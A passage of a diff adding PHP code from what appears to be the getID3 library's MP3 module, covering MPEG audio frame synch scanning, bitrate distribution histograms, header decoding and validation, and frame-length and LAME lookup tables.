+					$LongMPEGversionLookup[$head4]   = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']];
+					$LongMPEGlayerLookup[$head4]     = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']];
+					$LongMPEGbitrateLookup[$head4]   = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']];
+					$LongMPEGpaddingLookup[$head4]   = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding'];
+					$LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']];
+					$MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength(
+						$LongMPEGbitrateLookup[$head4],
+						$LongMPEGversionLookup[$head4],
+						$LongMPEGlayerLookup[$head4],
+						$LongMPEGpaddingLookup[$head4],
+						$LongMPEGfrequencyLookup[$head4]);
+				}
+				if ($MPEGaudioHeaderLengthCache[$head4] > 4) {
+					$WhereWeWere = $this->ftell();
+					$this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR);
+					$next4 = $this->fread(4);
+					if ($next4{0} == "\xFF") {
+						if (!isset($MPEGaudioHeaderDecodeCache[$next4])) {
+							$MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4);
+						}
+						if (!isset($MPEGaudioHeaderValidCache[$next4])) {
+							$MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false);
+						}
+						if ($MPEGaudioHeaderValidCache[$next4]) {
+							$this->fseek(-4, SEEK_CUR);
+
+							getid3_lib::safe_inc($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]);
+							getid3_lib::safe_inc($Distribution['layer'][$LongMPEGlayerLookup[$head4]]);
+							getid3_lib::safe_inc($Distribution['version'][$LongMPEGversionLookup[$head4]]);
+							getid3_lib::safe_inc($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]);
+							getid3_lib::safe_inc($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]);
+							if ($max_frames_scan && (++$frames_scanned >= $max_frames_scan)) {
+								$pct_data_scanned = ($this->ftell() - $info['avdataoffset']) / ($info['avdataend'] - $info['avdataoffset']);
+								$this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
+								foreach ($Distribution as $key1 => $value1) {
+									foreach ($value1 as $key2 => $value2) {
+										$Distribution[$key1][$key2] = round($value2 / $pct_data_scanned);
+									}
+								}
+								break;
+							}
+							continue;
+						}
+					}
+					unset($next4);
+					$this->fseek($WhereWeWere - 3);
+				}
+
+			}
+		}
+		foreach ($Distribution as $key => $value) {
+			ksort($Distribution[$key], SORT_NUMERIC);
+		}
+		ksort($Distribution['version'], SORT_STRING);
+		$info['mpeg']['audio']['bitrate_distribution']   = $Distribution['bitrate'];
+		$info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency'];
+		$info['mpeg']['audio']['layer_distribution']     = $Distribution['layer'];
+		$info['mpeg']['audio']['version_distribution']   = $Distribution['version'];
+		$info['mpeg']['audio']['padding_distribution']   = $Distribution['padding'];
+		if (count($Distribution['version']) > 1) {
+			$this->error('Corrupt file - more than one MPEG version detected');
+		}
+		if (count($Distribution['layer']) > 1) {
+			$this->error('Corrupt file - more than one MPEG layer detected');
+		}
+		if (count($Distribution['frequency']) > 1) {
+			$this->error('Corrupt file - more than one MPEG sample rate detected');
+		}
+
+
+		$bittotal = 0;
+		foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) {
+			if ($bitratevalue != 'free') {
+				$bittotal += ($bitratevalue * $bitratecount);
+			}
+		}
+		$info['mpeg']['audio']['frame_count']  = array_sum($Distribution['bitrate']);
+		if ($info['mpeg']['audio']['frame_count'] == 0) {
+			$this->error('no MPEG audio frames found');
+			return false;
+		}
+		$info['mpeg']['audio']['bitrate']      = ($bittotal / $info['mpeg']['audio']['frame_count']);
+		$info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr');
+		$info['mpeg']['audio']['sample_rate']  = getid3_lib::array_max($Distribution['frequency'], true);
+
+		$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
+		$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
+		$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+		$info['audio']['dataformat']   = 'mp'.getid3_lib::array_max($Distribution['layer'], true);
+		$info['fileformat']            = $info['audio']['dataformat'];
+
+		return true;
+	}
+
+
+	public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) {
+		// looks for synch, decodes MPEG audio header
+
+		$info = &$this->getid3->info;
+
+		static $MPEGaudioVersionLookup;
+		static $MPEGaudioLayerLookup;
+		static $MPEGaudioBitrateLookup;
+		if (empty($MPEGaudioVersionLookup)) {
+		   $MPEGaudioVersionLookup = self::MPEGaudioVersionArray();
+		   $MPEGaudioLayerLookup   = self::MPEGaudioLayerArray();
+		   $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray();
+
+		}
+
+		$this->fseek($avdataoffset);
+		$sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset);
+		if ($sync_seek_buffer_size <= 0) {
+			$this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset);
+			return false;
+		}
+		$header = $this->fread($sync_seek_buffer_size);
+		$sync_seek_buffer_size = strlen($header);
+		$SynchSeekOffset = 0;
+		while ($SynchSeekOffset < $sync_seek_buffer_size) {
+			if ((($avdataoffset + $SynchSeekOffset)  < $info['avdataend']) && !feof($this->getid3->fp)) {
+
+				if ($SynchSeekOffset > $sync_seek_buffer_size) {
+					// if a synch's not found within the first 128k bytes, then give up
+					$this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB');
+					if (isset($info['audio']['bitrate'])) {
+						unset($info['audio']['bitrate']);
+					}
+					if (isset($info['mpeg']['audio'])) {
+						unset($info['mpeg']['audio']);
+					}
+					if (empty($info['mpeg'])) {
+						unset($info['mpeg']);
+					}
+					return false;
+
+				} elseif (feof($this->getid3->fp)) {
+
+					$this->error('Could not find valid MPEG audio synch before end of file');
+					if (isset($info['audio']['bitrate'])) {
+						unset($info['audio']['bitrate']);
+					}
+					if (isset($info['mpeg']['audio'])) {
+						unset($info['mpeg']['audio']);
+					}
+					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || (count($info['mpeg']) == 0))) {
+						unset($info['mpeg']);
+					}
+					return false;
+				}
+			}
+
+			if (($SynchSeekOffset + 1) >= strlen($header)) {
+				$this->error('Could not find valid MPEG synch before end of file');
+				return false;
+			}
+
+			if (($header{$SynchSeekOffset} == "\xFF") && ($header{($SynchSeekOffset + 1)} > "\xE0")) { // synch detected
+				if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) {
+					$FirstFrameThisfileInfo = $info;
+					$FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset;
+					if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) {
+						// if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's
+						// garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below
+						unset($FirstFrameThisfileInfo);
+					}
+				}
+
+				$dummy = $info; // only overwrite real data if valid header found
+				if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) {
+					$info = $dummy;
+					$info['avdataoffset'] = $avdataoffset + $SynchSeekOffset;
+					switch (isset($info['fileformat']) ? $info['fileformat'] : '') {
+						case '':
+						case 'id3':
+						case 'ape':
+						case 'mp3':
+							$info['fileformat']          = 'mp3';
+							$info['audio']['dataformat'] = 'mp3';
+							break;
+					}
+					if (isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) {
+						if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) {
+							// If there is garbage data between a valid VBR header frame and a sequence
+							// of valid MPEG-audio frames the VBR data is no longer discarded.
+							$info = $FirstFrameThisfileInfo;
+							$info['avdataoffset']        = $FirstFrameAVDataOffset;
+							$info['fileformat']          = 'mp3';
+							$info['audio']['dataformat'] = 'mp3';
+							$dummy                       = $info;
+							unset($dummy['mpeg']['audio']);
+							$GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength'];
+							$GarbageOffsetEnd   = $avdataoffset + $SynchSeekOffset;
+							if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) {
+								$info = $dummy;
+								$info['avdataoffset'] = $GarbageOffsetEnd;
+								$this->warning('apparently-valid VBR header not used because could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd);
+							} else {
+								$this->warning('using data from VBR header even though could not find '.GETID3_MP3_VALID_CHECK_FRAMES.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')');
+							}
+						}
+					}
+					if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) {
+						// VBR file with no VBR header
+						$BitrateHistogram = true;
+					}
+
+					if ($BitrateHistogram) {
+
+						$info['mpeg']['audio']['stereo_distribution']  = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0);
+						$info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0);
+
+						if ($info['mpeg']['audio']['version'] == '1') {
+							if ($info['mpeg']['audio']['layer'] == 3) {
+								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0);
+							} elseif ($info['mpeg']['audio']['layer'] == 2) {
+								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0);
+							} elseif ($info['mpeg']['audio']['layer'] == 1) {
+								$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0);
+							}
+						} elseif ($info['mpeg']['audio']['layer'] == 1) {
+							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0);
+						} else {
+							$info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0);
+						}
+
+						$dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
+						$synchstartoffset = $info['avdataoffset'];
+						$this->fseek($info['avdataoffset']);
+
+						// you can play with these numbers:
+						$max_frames_scan  = 50000;
+						$max_scan_segments = 10;
+
+						// don't play with these numbers:
+						$FastMode = false;
+						$SynchErrorsFound = 0;
+						$frames_scanned   = 0;
+						$this_scan_segment = 0;
+						$frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments);
+						$pct_data_scanned = 0;
+						for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) {
+							$frames_scanned_this_segment = 0;
+							if ($this->ftell() >= $info['avdataend']) {
+								break;
+							}
+							$scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments)));
+							if ($current_segment > 0) {
+								$this->fseek($scan_start_offset[$current_segment]);
+								$buffer_4k = $this->fread(4096);
+								for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) {
+									if (($buffer_4k{$j} == "\xFF") && ($buffer_4k{($j + 1)} > "\xE0")) { // synch detected
+										if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) {
+											$calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength'];
+											if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) {
+												$scan_start_offset[$current_segment] += $j;
+												break;
+											}
+										}
+									}
+								}
+							}
+							$synchstartoffset = $scan_start_offset[$current_segment];
+							while ($this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) {
+								$FastMode = true;
+								$thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']];
+
+								if (empty($dummy['mpeg']['audio']['framelength'])) {
+									$SynchErrorsFound++;
+									$synchstartoffset++;
+								} else {
+									getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]);
+									getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]);
+									getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]);
+									$synchstartoffset += $dummy['mpeg']['audio']['framelength'];
+								}
+								$frames_scanned++;
+								if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) {
+									$this_pct_scanned = ($this->ftell() - $scan_start_offset[$current_segment]) / ($info['avdataend'] - $info['avdataoffset']);
+									if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) {
+										// file likely contains < $max_frames_scan, just scan as one segment
+										$max_scan_segments = 1;
+										$frames_scan_per_segment = $max_frames_scan;
+									} else {
+										$pct_data_scanned += $this_pct_scanned;
+										break;
+									}
+								}
+							}
+						}
+						if ($pct_data_scanned > 0) {
+							$this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.');
+							foreach ($info['mpeg']['audio'] as $key1 => $value1) {
+								if (!preg_match('#_distribution$#i', $key1)) {
+									continue;
+								}
+								foreach ($value1 as $key2 => $value2) {
+									$info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned);
+								}
+							}
+						}
+
+						if ($SynchErrorsFound > 0) {
+							$this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis');
+							//return false;
+						}
+
+						$bittotal     = 0;
+						$framecounter = 0;
+						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) {
+							$framecounter += $bitratecount;
+							if ($bitratevalue != 'free') {
+								$bittotal += ($bitratevalue * $bitratecount);
+							}
+						}
+						if ($framecounter == 0) {
+							$this->error('Corrupt MP3 file: framecounter == zero');
+							return false;
+						}
+						$info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter);
+						$info['mpeg']['audio']['bitrate']     = ($bittotal / $framecounter);
+
+						$info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate'];
+
+
+						// Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently
+						$distinct_bitrates = 0;
+						foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) {
+							if ($bitrate_count > 0) {
+								$distinct_bitrates++;
+							}
+						}
+						if ($distinct_bitrates > 1) {
+							$info['mpeg']['audio']['bitrate_mode'] = 'vbr';
+						} else {
+							$info['mpeg']['audio']['bitrate_mode'] = 'cbr';
+						}
+						$info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode'];
+
+					}
+
+					break; // exit while()
+				}
+			}
+
+			$SynchSeekOffset++;
+			if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) {
+				// end of file/data
+
+				if (empty($info['mpeg']['audio'])) {
+
+					$this->error('could not find valid MPEG synch before end of file');
+					if (isset($info['audio']['bitrate'])) {
+						unset($info['audio']['bitrate']);
+					}
+					if (isset($info['mpeg']['audio'])) {
+						unset($info['mpeg']['audio']);
+					}
+					if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) {
+						unset($info['mpeg']);
+					}
+					return false;
+
+				}
+				break;
+			}
+
+		}
+		$info['audio']['channels']        = $info['mpeg']['audio']['channels'];
+		$info['audio']['channelmode']     = $info['mpeg']['audio']['channelmode'];
+		$info['audio']['sample_rate']     = $info['mpeg']['audio']['sample_rate'];
+		return true;
+	}
+
+
+	public static function MPEGaudioVersionArray() {
+		static $MPEGaudioVersion = array('2.5', false, '2', '1');
+		return $MPEGaudioVersion;
+	}
+
+	public static function MPEGaudioLayerArray() {
+		static $MPEGaudioLayer = array(false, 3, 2, 1);
+		return $MPEGaudioLayer;
+	}
+
+	public static function MPEGaudioBitrateArray() {
+		static $MPEGaudioBitrate;
+		if (empty($MPEGaudioBitrate)) {
+			$MPEGaudioBitrate = array (
+				'1'  =>  array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000),
+								2 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000),
+								3 => array('free', 32000, 40000, 48000,  56000,  64000,  80000,  96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000)
+							   ),
+
+				'2'  =>  array (1 => array('free', 32000, 48000, 56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000),
+								2 => array('free',  8000, 16000, 24000,  32000,  40000,  48000,  56000,  64000,  80000,  96000, 112000, 128000, 144000, 160000),
+							   )
+			);
+			$MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2];
+			$MPEGaudioBitrate['2.5']  = $MPEGaudioBitrate['2'];
+		}
+		return $MPEGaudioBitrate;
+	}
+
+	public static function MPEGaudioFrequencyArray() {
+		static $MPEGaudioFrequency;
+		if (empty($MPEGaudioFrequency)) {
+			$MPEGaudioFrequency = array (
+				'1'   => array(44100, 48000, 32000),
+				'2'   => array(22050, 24000, 16000),
+				'2.5' => array(11025, 12000,  8000)
+			);
+		}
+		return $MPEGaudioFrequency;
+	}
+
+	public static function MPEGaudioChannelModeArray() {
+		static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono');
+		return $MPEGaudioChannelMode;
+	}
+
+	public static function MPEGaudioModeExtensionArray() {
+		static $MPEGaudioModeExtension;
+		if (empty($MPEGaudioModeExtension)) {
+			$MPEGaudioModeExtension = array (
+				1 => array('4-31', '8-31', '12-31', '16-31'),
+				2 => array('4-31', '8-31', '12-31', '16-31'),
+				3 => array('', 'IS', 'MS', 'IS+MS')
+			);
+		}
+		return $MPEGaudioModeExtension;
+	}
+
+	public static function MPEGaudioEmphasisArray() {
+		static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17');
+		return $MPEGaudioEmphasis;
+	}
+
+	public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) {
+		return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15);
+	}
+
+	public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) {
+		if (($rawarray['synch'] & 0x0FFE) != 0x0FFE) {
+			return false;
+		}
+
+		static $MPEGaudioVersionLookup;
+		static $MPEGaudioLayerLookup;
+		static $MPEGaudioBitrateLookup;
+		static $MPEGaudioFrequencyLookup;
+		static $MPEGaudioChannelModeLookup;
+		static $MPEGaudioModeExtensionLookup;
+		static $MPEGaudioEmphasisLookup;
+		if (empty($MPEGaudioVersionLookup)) {
+			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
+			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
+			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
+			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
+			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
+			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
+			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
+		}
+
+		if (isset($MPEGaudioVersionLookup[$rawarray['version']])) {
+			$decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']];
+		} else {
+			echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : '');
+			return false;
+		}
+		if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) {
+			$decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']];
+		} else {
+			echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) {
+			echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : '');
+			if ($rawarray['bitrate'] == 15) {
+				// known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0
+				// let it go through here otherwise file will not be identified
+				if (!$allowBitrate15) {
+					return false;
+				}
+			} else {
+				return false;
+			}
+		}
+		if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) {
+			echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) {
+			echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) {
+			echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : '');
+			return false;
+		}
+		if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) {
+			echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : '');
+			return false;
+		}
+		// These are just either set or not set, you can't mess that up :)
+		// $rawarray['protection'];
+		// $rawarray['padding'];
+		// $rawarray['private'];
+		// $rawarray['copyright'];
+		// $rawarray['original'];
+
+		return true;
+	}
+
+	public static function MPEGaudioHeaderDecode($Header4Bytes) {
+		// AAAA AAAA  AAAB BCCD  EEEE FFGH  IIJJ KLMM
+		// A - Frame sync (all bits set)
+		// B - MPEG Audio version ID
+		// C - Layer description
+		// D - Protection bit
+		// E - Bitrate index
+		// F - Sampling rate frequency index
+		// G - Padding bit
+		// H - Private bit
+		// I - Channel Mode
+		// J - Mode extension (Only if Joint stereo)
+		// K - Copyright
+		// L - Original
+		// M - Emphasis
+
+		if (strlen($Header4Bytes) != 4) {
+			return false;
+		}
+
+		$MPEGrawHeader['synch']         = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4;
+		$MPEGrawHeader['version']       = (ord($Header4Bytes{1}) & 0x18) >> 3; //    BB
+		$MPEGrawHeader['layer']         = (ord($Header4Bytes{1}) & 0x06) >> 1; //      CC
+		$MPEGrawHeader['protection']    = (ord($Header4Bytes{1}) & 0x01);      //        D
+		$MPEGrawHeader['bitrate']       = (ord($Header4Bytes{2}) & 0xF0) >> 4; // EEEE
+		$MPEGrawHeader['sample_rate']   = (ord($Header4Bytes{2}) & 0x0C) >> 2; //     FF
+		$MPEGrawHeader['padding']       = (ord($Header4Bytes{2}) & 0x02) >> 1; //       G
+		$MPEGrawHeader['private']       = (ord($Header4Bytes{2}) & 0x01);      //        H
+		$MPEGrawHeader['channelmode']   = (ord($Header4Bytes{3}) & 0xC0) >> 6; // II
+		$MPEGrawHeader['modeextension'] = (ord($Header4Bytes{3}) & 0x30) >> 4; //   JJ
+		$MPEGrawHeader['copyright']     = (ord($Header4Bytes{3}) & 0x08) >> 3; //     K
+		$MPEGrawHeader['original']      = (ord($Header4Bytes{3}) & 0x04) >> 2; //      L
+		$MPEGrawHeader['emphasis']      = (ord($Header4Bytes{3}) & 0x03);      //       MM
+
+		return $MPEGrawHeader;
+	}
+
+	public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) {
+		static $AudioFrameLengthCache = array();
+
+		if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) {
+			$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false;
+			if ($bitrate != 'free') {
+
+				if ($version == '1') {
+
+					if ($layer == '1') {
+
+						// For Layer I slot is 32 bits long
+						$FrameLengthCoefficient = 48;
+						$SlotLength = 4;
+
+					} else { // Layer 2 / 3
+
+						// for Layer 2 and Layer 3 slot is 8 bits long.
+						$FrameLengthCoefficient = 144;
+						$SlotLength = 1;
+
+					}
+
+				} else { // MPEG-2 / MPEG-2.5
+
+					if ($layer == '1') {
+
+						// For Layer I slot is 32 bits long
+						$FrameLengthCoefficient = 24;
+						$SlotLength = 4;
+
+					} elseif ($layer == '2') {
+
+						// for Layer 2 and Layer 3 slot is 8 bits long.
+						$FrameLengthCoefficient = 144;
+						$SlotLength = 1;
+
+					} else { // layer 3
+
+						// for Layer 2 and Layer 3 slot is 8 bits long.
+						$FrameLengthCoefficient = 72;
+						$SlotLength = 1;
+
+					}
+
+				}
+
+				// FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding
+				if ($samplerate > 0) {
+					$NewFramelength  = ($FrameLengthCoefficient * $bitrate) / $samplerate;
+					$NewFramelength  = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I)
+					if ($padding) {
+						$NewFramelength += $SlotLength;
+					}
+					$AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength;
+				}
+			}
+		}
+		return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate];
+	}
+
+	public static function ClosestStandardMP3Bitrate($bit_rate) {
+		static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000);
+		static $bit_rate_table = array (0=>'-');
+		$round_bit_rate = intval(round($bit_rate, -3));
+		if (!isset($bit_rate_table[$round_bit_rate])) {
+			if ($round_bit_rate > max($standard_bit_rates)) {
+				$bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate));
+			} else {
+				$bit_rate_table[$round_bit_rate] = max($standard_bit_rates);
+				foreach ($standard_bit_rates as $standard_bit_rate) {
+					if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) {
+						break;
+					}
+					$bit_rate_table[$round_bit_rate] = $standard_bit_rate;
+				}
+			}
+		}
+		return $bit_rate_table[$round_bit_rate];
+	}
+
+	public static function XingVBRidOffset($version, $channelmode) {
+		static $XingVBRidOffsetCache = array();
+		if (empty($XingVBRidOffset)) {
+			$XingVBRidOffset = array (
+				'1'   => array ('mono'          => 0x15, // 4 + 17 = 21
+								'stereo'        => 0x24, // 4 + 32 = 36
+								'joint stereo'  => 0x24,
+								'dual channel'  => 0x24
+							   ),
+
+				'2'   => array ('mono'          => 0x0D, // 4 +  9 = 13
+								'stereo'        => 0x15, // 4 + 17 = 21
+								'joint stereo'  => 0x15,
+								'dual channel'  => 0x15
+							   ),
+
+				'2.5' => array ('mono'          => 0x15,
+								'stereo'        => 0x15,
+								'joint stereo'  => 0x15,
+								'dual channel'  => 0x15
+							   )
+			);
+		}
+		return $XingVBRidOffset[$version][$channelmode];
+	}
+
+	public static function LAMEvbrMethodLookup($VBRmethodID) {
+		static $LAMEvbrMethodLookup = array(
+			0x00 => 'unknown',
+			0x01 => 'cbr',
+			0x02 => 'abr',
+			0x03 => 'vbr-old / vbr-rh',
+			0x04 => 'vbr-new / vbr-mtrh',
+			0x05 => 'vbr-mt',
+			0x06 => 'vbr (full vbr method 4)',
+			0x08 => 'cbr (constant bitrate 2 pass)',
+			0x09 => 'abr (2 pass)',
+			0x0F => 'reserved'
+		);
+		return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : '');
+	}
+
+	public static function LAMEmiscStereoModeLookup($StereoModeID) {
+		static $LAMEmiscStereoModeLookup = array(
+			0 => 'mono',
+			1 => 'stereo',
+			2 => 'dual mono',
+			3 => 'joint stereo',
+			4 => 'forced stereo',
+			5 => 'auto',
+			6 => 'intensity stereo',
+			7 => 'other'
+		);
